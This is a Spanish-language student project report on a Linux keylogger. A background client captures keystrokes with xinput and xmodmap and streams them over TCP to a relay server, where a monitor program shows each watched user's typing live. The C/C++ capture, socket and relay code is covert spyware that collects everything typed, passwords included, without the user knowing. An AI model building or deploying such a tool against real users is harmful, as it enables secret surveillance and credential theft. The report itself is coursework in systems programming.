Vigilancia de datos - KeyLogger

Keylogger logo

Integrantes : Alexandre VIGNAL y Cédric ESCUDERO

Contexto

En varios casos, como en una relación padres-hijo, puede ser útil vigilar la actividad de una persona en una máquina para asegurarse de la ausencia de comportamientos digitales arriesgados. La base de este tipo de vigilancia consiste en el seguimiento de la actividad del teclado del computador, y es más conocido bajo el nombre de “keylogger”.

Este contexto ha sido la base del proyecto que hemos desarrollado. Desde un punto de vista técnico, la parte la más importante del proyecto tendrá el siguiente propósito: supervisar, en tiempo real, la actividad del teclado de la máquina "observada" en un proceso que se ejecuta en segundo plano, invisible para un usuario no experimentado.

Especificaciones

Entonces, emitimos las siguientes especificaciones:

Funcionamiento del programa

De hecho, como se explicó anteriormente, este proyecto consiste en un conjunto de tres programas.

El keylogger que, ejecutándose en la máquina a observar, analiza, almacena y envía al servidor las introducciones de datos del teclado.
El servidor, ejecutado en Aragorn, que espera para las conexiones por parte del espiado y del espía. Este programa reenvía los mensajes desde el espiado al espía y viceversa.
El monitor que, corriendo en la máquina del espía, permite imprimir la lista de los usuarios espiados conectados, enviar una solicitud para descargar el histórico de los comandos ingresados o ver en vivo la actividad del usuario observado.

Esta sección pretende detallar los puntos importantes del funcionamiento de cada uno de estos programas, y destacar aquellos son relacionados con los temas abordados durante este ramo de programación de sistemas.

El keylogger :

Para trabajar, este programa corre dos softwares externos: xinput y xmodmap.
Xinput es un programa nativo instalado en la mayoría de las máquinas linux y que, según su página man, "permite listar todos los dispositivos de entrada disponibles, solicitar información de estos dispositivos y modificar sus parámetros de funcionamiento.

Utilizado de la siguiente manera: "xinput test [KeyboardID]", xinput captura cada evento (presión y relaja) generado por el teclado y envía un mensaje a la salida estándar. Estos mensajes son de la forma:

> Key pressed 11
> Key realeased 11
> Key pressed 52
> Key realeased 52
> ...

Capturar y procesar esos mensajes dentro de nuestro programa nos permitirá analizar y almacenar cada uno de los eventos generados por el teclado del usuario espiado.

Sin embargo, para poder ejecutar xinput desde el programa keylogger, es útil conocer el ID [KeyboardID] del teclado que se observará. Para eso, xinput tiene una opción '--list'. La salida que muestra el programa con esta opción es de la siguiente forma:

[ Virtual core pointer id=2 [master pointer (3)]
- Virtual core XTEST pointer id=4 [slave pointer (2)]
- SynPS/2 Synaptics TouchPad id=12 [slave pointer (2)]
[ Virtual core keyboard id=3 [master keyboard (2)]
- Virtual core XTEST keyboard id=5 [slave keyboard (3)]
- Power Button id=6 [slave keyboard (3)]
- Video Bus id=7 [slave keyboard (3)]
- Power Button id=8 [slave keyboard (3)]
- Sleep Button id=9 [slave keyboard (3)]
- HP Webcam-101 id=10 [slave keyboard (3)]
- AT Translated Set 2 keyboard id=11 [slave keyboard (3)]
- HP WMI hotkeys id=13 [slave keyboard (3)]

El teclado estándar siempre tiene el siguiente nombre: « AT Translated Set 2 keyboard». Por lo tanto, tenemos que extraer, dentro de nuestro programa, el identificador asociado con este nombre de teclado. Para eso, utilizamos el siguiente código:

pid_t pid_xinput_keyid;
int pfd_from_xinput_keyid[2]; //1

pipe(pfd_from_xinput_keyid) //1
from_xinput_keyid = fdopen(pfd_from_xinput_keyid[0], "r"); //2

//Creation of a new process in which we launch xinput with some commands to obtain the keyboard ID
pid_xinput_keyid = fork(); //3
if (pid_xinput_keyid == 0){
close(pfd_from_xinput_keyid[0]);
dup2(pfd_from_xinput_keyid[1], 1); //4
execlp("xinput", "xinput", "list", "--short", "AT Translated Set 2 keyboard", (char*)0); //5
}

Explicación:
1: Creamos una pipa para capturar la información que será devuelta por xinput.
2: Abrimos un FILE* en lectura desde el descriptor de archivo de entrada pfd_from_xinput_keyid [0].
3: Creamos un nuevo proceso.
4: en este proceso, redirigimos la salida estándar dentro de la pipa creada previamente.
5: En este mismo proceso, corremos una instancia del programa xinput. Los parámetros indicados permiten mostrar sólo la línea con los datos del teclado deseado. Esta línea, gracias a la función dup2(...), no se muestra en la salida estándar pero está enviada en la pipa y recuperada por nuestro programa.

Después, utilizamos el siguiente código para extraer solamente el ID del teclado en la línea recibida. La función getline de c ++ está utilizada con varios separadores para extraer solamente la parte antes de este separador (en nuestro caso solamente el ID).

//Getting the result in the main program and searching for the ID
__gnu_cxx::stdio_filebuf buf_keyid(fileno(from_xinput_keyid), std::ios::in);
istream stream_keyid(&buf_keyid);
istringstream* lineStream;
string line, junk, keyid;

getline(stream_keyid, line);
lineStream= new istringstream(line); //To be able to use getline()
getline(*lineStream, junk, '='); //Read the part of the string before '='
getline(*lineStream, keyid, '\t'); //Read the remaining part of the string before the tab (only the id)

En esta etapa del programa, somos capaces de iniciar un nuevo proceso en segundo plano que ejecuta el programa xinput, especificando el buen ID del teclado que queremos vigilar. La creación del nuevo proceso y de la pipa utilizados para ejectuar este programa es totalmente similar a la anterior.
XInput es ejecutado con los parámetros adecuados con la línea siguiente :
execlp ("xinput", "xinput", "prueba", (keyid.c_str), (char *) 0);

Sin embargo, antes de la utilización de xinput, es útil obtener la tabla de conversión “números de tecla” -> “significación de la tecla”. Para eso, se utilice el comando ' xmodmap – pke’. Este comando imprime una lista de las diferentes significaciones de cada una de las teclas, según que estemos en mayúsculas, minúscula, o que estemos presionando la tecla alt-gr por ejemplo. El resultado es de la forma:

keycode 10 = ampersand 1 ampersand 1 dead_acute periodcentered dead_caron dead_ogonek 1 exclam
keycode 11 = eacute 2 eacute 2 asciitilde Eacute asciitilde Eacute 2 at
keycode 12 = quotedbl 3 quotedbl 3 numbersign cedilla numbersign dead_breve 3 numbersign
keycode 13 = apostrophe 4 apostrophe 4 braceleft acute braceleft U2014 4 dollar
keycode 14 = parenleft 5 parenleft 5 bracketleft diaeresis bracketleft U2013 5 percent
...
keycode 23 = BackSpace BackSpace BackSpace BackSpace BackSpace BackSpace
keycode 24 = a A a A acircumflex adiaeresis ae AE q Q
keycode 25 = z Z z Z aring Aring acircumflex Acircumflex w W
keycode 26 = e E e E EuroSign cent EuroSign cent e E
keycode 27 = r R r R ccedilla Ccedilla ecircumflex Ecircumflex r R

De la misma forma que anteriormente, este comando se ejecuta desde un nuevo proceso. La información obtenida a través de una nueva pipa se interpreta por una sucesión de getline en nuestro programa, para extraer los campos que nos interesan.

Cada campo está insertado en una “map” correspondiente en C++. Tenemos tres objetos de tipo “map”, keymap, keymap_shift y keymap_altgr. De esta manera, para cada identificador (numero) de tecla, podemos acceder a su significación en las diferentes tablas, de la siguiente manera:

Pues, en este punto, tenemos una tabla de conversión que tiene la siguiente forma:

> KEY_CODE | VALUE | SHIFT_VALUE | ALTGR_VALUE
> 10 | ampersand | 1 | deadcute
> 11 | eacute | 2 | asciitilde
> 12 | quotedbl | 3 | numbersign
> 13 | apostrophe | 4 | braceleft
> 14 | parenleft | 5 | bracketleft
...
> 23 | BackSpace | BackSpace | BackSpace
> 24 | a | A | acircumflex
> 25 | z | Z | aring
> 26 | e | E | EuroSign
> 27 | r | R | ccedilla
...

Para más legibilidad, creamos una nueva función llamada justo después de la ejecución de xmodmap, que recorre las tres tablas y reemplaza los nombres estándar de las teclas con el símbolo que queremos asociar. Por ejemplo, “ampersand” se convierte en “&”, “space” se convierte en “ “, y “Backspace” se convierte en “[◄]”. Por razones de claridad, este código no se muestra aquí. El resultado final de la tabla es el siguiente :

> KEY_CODE | VALUE | SHIFT_VALUE | ALTGR_VALUE
> 10 | & | 1 | ^
> 11 | é | 2 | ~
> 12 | " | 3 | #
> 13 | ' | 4 | {
> 14 | ( | 5 | [
...
> 23 | ◄ | ◄ | ◄
> 24 | a | A | â
> 25 | z | Z | ä
> 26 | e | E | €
> 27 | r | R | ç
...

Ahora el programa keylogger está listo para recibir las informaciones transmitidas por el proceso en que se ejecuta xinput, y para procesarlas correctamente. Sin embargo, para enviar estas informaciones a un servidor distante, necesitamos establecer una conexión. Por lo tanto, el keylogger está conectado al servidor que corre continuamente en Aragorn a través del siguiente código.

// CREATION SOCKET
int n, s, len;
char bufe[1024];
char stop[]="/stop/";
struct hostent *hp;
struct sockaddr_in name;
fd_set readfds;

hp = gethostbyname("localHost");
s = socket(AF_INET, SOCK_STREAM, 0);

name.sin_family = AF_INET;
name.sin_port = htons(12345);
memcpy(&name.sin_addr, hp->h_addr_list[0], hp->h_length);
len = sizeof(struct sockaddr_in);

/* Connect to the server. */
connect(s, (struct sockaddr *) &name, len);

Una vez conectado al servidor, para cada nueva línea que se envía en la pipa ligada con xinput, extraemos los dos campos útiles en variables dedicadas: ‘state’ ("press" o "realeased") y ‘key’ (número de la tecla). Estos campos así como las tablas de conversión creadas previamente son ingresadas a la función interpretAndSendKey. Esta función realiza un primer tratamiento para saber si el usuario presionó una tecla calquiera o si se pusó en mayúscula, presionó la tecla Shift, Alt-Gr, etc… Con este primer tratamiento, esta función envía, si hay necesidad, el buen carácter o el buen símbolo al servidor y lo almacena en un archivo de texto local para guardar un histórico de las teclas presionadas.

El siguiente esquema trata de sintetizar los diferentes procesos creados y las comunicaciones entre el programa principal y estos procesos en los que corren los softwares externos.

Esquema procesos y comunicaciones

De esta manera, hemos logrado a crear un keylogger genérico, legible, conectado a un servido externo y que está ejecutado de forma invisible en segundo plano en una maquina Linux.

El Server :

Cuando el server corre, crea una nueva hebra “monitor” para esperar una comunicación TCP/IP con el programa monitor en el puerto asignado (12346 por omisión). Esta hebra es concurrente con la hebra la principal que ejecuta el resto del método main, para establecer las comunicaciones TCP/IP con los clientes (keylogger) en un puerto distinto (por defecto 12345). Creación de la thread monitor en la thread main :

pthread_t tid;
pthread_create(&tid,NULL,monitor,NULL);

Parte interesante de la función monitor : espera de la conexión del monitor:

listen(s2, 5);
ns2 = accept(s2, (struct sockaddr *) &name2, &len2);

printf("Monitor connected...\n");

Cuando la hebra monitor está ejecutada, escuchamos el puerto del monitor hasta que una conexión llega. Cuando llega, aceptamos la conexión y mostramos en la salida estándar del servidor "Monitor connected".
Ahora veamos el otro hilo del programa server: el hilo principal:

/* Listen for connections. */
listen(s, 5);
printf("Waiting for connection...\n");
ptr[0]=s;
size++;

Al principio, esta hebra espera a una conexión en el puerto del cliente. Cuando una conexión llega, añadimos el número de socket dentro un arreglo. De efecto, nuestro server debe ser capaz de almacenar los datos de más de un solo cliente. De hecho, creamos un arreglo ptr[FD_SETSIZE] donde almacenamos los números de sockets de los clientes conectados al puerto definido. Una vez que un primer cliente está conectado, ingresamos en un bucle infinito en el cual revisamos, a cada paso, el estado de los sockets para saber si hay datos que han llegados. Si detectamos una actividad, podemos tener que: aceptar nuevas conexiones, o procesar los datos de los clientes ya existantes.

Revisar el estado de los sockets se hace gracias a la función bloqueante “select”, que aquí espera (sin consumir actividad en la CPU) hasta que haya actividad en uno de los “file descriptors” (socket en nuestro caso) presentes en readfds.

if(select(sockmax+1,&readfds,NULL,NULL,NULL)==-1){
perror("Erreur lors de l'appel select");
exit(1); }

Cuando una actividad ocurre en cualquier de estos filedescripotrs, revisamos el socket ligado al puerto en el cual esperamos para nuevos clientes, para saber si nos llegó une nueva conexión.

if(FD_ISSET(s,&readfds)){
if((ns=accept(s,(struct sockaddr *) &name, &len)) == -1){
      perror("Erreur accept");
      exit(1);
}
printf("New client (keylogged) connected !\n");
size++;
ptr[size-1]=ns;
}

Si este socket recibió actividad, aceptamos la conexión del nuevo cliente y actualizamos la lista de sockets en el arreglo asociado. Si el estado de uno de los sockets dentro el arreglo cambió, recuperamos el número de cliente (numClient) dentro del arreglo y almacenamos la información que fue enviada por el cliente en un buffer (buf).
Este proceso maneja dos variables compartidas: numClient y buf que están también utilizado por la hebra monitor (enviados al programa monitor) después de su actualización en el main. Por eso, tenemos que diseñar un mecanismo de sincronización de estos datos, usando mutex.

Mecanismo de synchronisacion :
- Thread main :

pthread_mutex_lock(&lockDeMiBufferPret);
while(bufferpret!=0)
pthread_cond_wait(&cambioDeBufferPret,&lockDeMiBufferPret);
numClient=ptr[i];
N=recv(ptr[i],&buf,sizeof(buf),0);
if(N>0){
bufferpret=1;
pthread_mutex_unlock(&lockDeMiBufferPret);
pthread_cond_signal(&cambioDeBufferPret);
}

else{
close(ptr[i]);
ptr[i]=ptr[size-1];
ptr[size-1]=0;
size--;
pthread_mutex_unlock(&lockDeMiBufferPret);

- Thread monitor :

while(bufferpret!=1)
pthread_cond_wait(&cambioDeBufferPret,&lockDeMiBufferPret);
//Enviamos el numero de cliente
sprintf(num,"%d",numClient);
send(ns2,num,sizeof(num),0);
//Esperamos la respuesta del servidor
n2=recv(s2,receptCltNum,sizeof(receptCltNum),MSG_WAITALL);
//Esperamos los datos del cliente deseado
send(ns2,buf,N,0);

bufferpret=0;
pthread_mutex_unlock(&lockDeMiBufferPret);
pthread_cond_signal(&cambioDeBufferPret);

Podemos ver en el mecanismo de sincronización de la hebra principal que tenemos una condición aplicada en el número de byte recibido. En efecto, si N>0 es decir que recibimos datos. En este caso debemos cargar el buffer con estos datos y avisar la thread monitor que el buffer esta listo en usando la variable de condición bufferpret. Liberamos después el mutex y enviamos una señal para avisar la otra thread que la variable de condición ha cambiado.

Un N que no está superior a 0 significa que ocurrió un problema con el socket (desconexión del cliente, etc.). En este caso, borramos el socket del arreglo y liberamos el mutex, sin avisar la hebra monitor de la llegada de nuevos datos, ya que estos datos no son interesantes para él.

Del lado del hilo monitor, en el cual llegamos después de actualizar el buffer de recepción, enviamos los datos al programa monitor. Antes de transmitir estos datos, enviamos el número del socket (client) asociado para que el monitor sepa de donde vienen las nuevas informaciones.
Esperamos una primera respuesta de este servidor para confirmarnos que el número de socket fue bien recibido. Una vez esta confirmación obtenida, empezamos la transmisión de los datos del buffer obtenidos por el keylogger. Por fin, liberamos el mutex y enviamos una señal para avisar a la otra hebra que la variable de condición cambió de estado...

El Monitor :

En otra máquina, un usuario espera los datos de todos los clientes. El ejecuta el programa monitor. Este programa se conecta al servidor por un puerto distinto de los clientes (y donde la conexión es única). Cuando está conectado con el servidor, el programa ingresa en un bucle infinito en el que revisa continuamente el estado de los files descripors añadidos en la función select para saber si nuevos datos llegaron: estos datos pueden venir de dos tipos de fuentes diferentes :

Revisar el estado de los sockets se hace de la siguiente manera:

if(select(s+1,&readfds,NULL,NULL,NULL)==-1){
perror("Error in select");
exit(1);
}

Cuando cualquier estado cambia, revisamos si el socket asociado al servidor recibo datos:

if(FD_ISSET(s,&readfds)){
//printf("... Reception of connection number ...\n");
n=recv(s, num, sizeof(num), MSG_WAITALL);
numClient=atoi(num);
it=findNum(ptrnumClient,size,numClient);
send(s, receptCltNum, sizeof(receptCltNum),0);
if(it==-1){
printf("\n\t\t\t** NEW CLIENT CONNECTED **\n");
ptrnumClient[size]=numClient;
ptrfile[size]=fopen(strcat(num,".txt"),"w");
it=size;
size++;
}
n=recv(s,&bufe,sizeof(bufe),0);
else{
if(numClient==mode)
      printf("%s",bufe);
fprintf(ptrfile[it],"%s", bufe);
fflush(ptrfile[it]);
}
}

Primero, esperamos la recepción del número de cliente. Cuando este número llega, lo guardamos en una variable numClient. Buscamos con la función findNum si este número de cliente ya existe dentro nuestro arreglo de clientes conectados ptrnumClient. Si no existe (it=-1), añadimos este socket dentro este arreglo y lo actualizamos. Después, recibimos los datos del servidor que corresponden a lo que fue ingresaba por el cliente elegido.

Si el usuario ingreso por el teclado un numero de cliente pues mostramos el flujo del cliente en vivo en el mismo tiempo que almacenamos los datos en un archivo con el nombre "numerodecliente.txt". Si el número de socket observado no es el mismo que el que tiene actividad, almacenamos solamente los datos en el archivo guardado en la máquina del monitor.

Recuperar y tratar los datos ingresados en el teclado :

if(FD_ISSET(0,&readfds)){
n=read(0,bufs,sizeof(bufs));
mode=atoi(bufs);
displayMenu(ptrnumClient, size, mode);
}

Cuando el file descriptor de la entrada estándar (0) esta modificado, es decir cuando el usuario pulsa el teclado, recuperamos el valor ingresado y actualizamos el menú con la función displayMenu().

El siguiente esquema sintetiza las comunicaciones posibles, y muestra el interés del programa servidor : corriendo continuamenteen un servidor publico, este programa permite conectar los keyloggers al monitor aunque se ubican en redes separadoras...

Esquema procesos y comunicaciones

Conclusion

En conlusion, hemos logrado a cumplir con todas las especificaciones que habiamos fijado al principio del desarrollo del proyecto, menos la posibilidad de pedir el historico a un espiado desde el monitor. Tenemos unos programas funcionales, probados en varios computadores. Sin embargo, la ejecucion en condicion real del conjunto de programas no fue probada. De efecto, no tenemos la posibilidad de hacer correr el programa server en un servidor publico para intentar conectar los clientes al monitor desde redes diferentes. El único servidor publico que se pusó como "candidato" para correr el programa server era Aragorn (.elo.utfsm.cl), pero el no dispone de puertos libres abiertos...

También quedan posibilidades de mejoras. Hemos por ejemplos pensado en:


Por fin, podemos decir que gracias a este proyecto, hemos implementados en los diferentes programas los conceptos estudiados en el ramo siguientes:

Por eso, quedamos ahora con la impresión de haber recorrido una grande parte del material del ramo, ramo que nos dio competencias de alto nivel para desarrollar un programa bastante complejo, que uno logra normalmente difícilmente a llegar a buen término sin el apoyo de personas competentes en cada dominio evocado.

Requerimientos

Para funcionar, el programa keylogger necesita que sean instalados en la maquina observada los programas externales siguientes :

[ZIP] Descargar las fuentes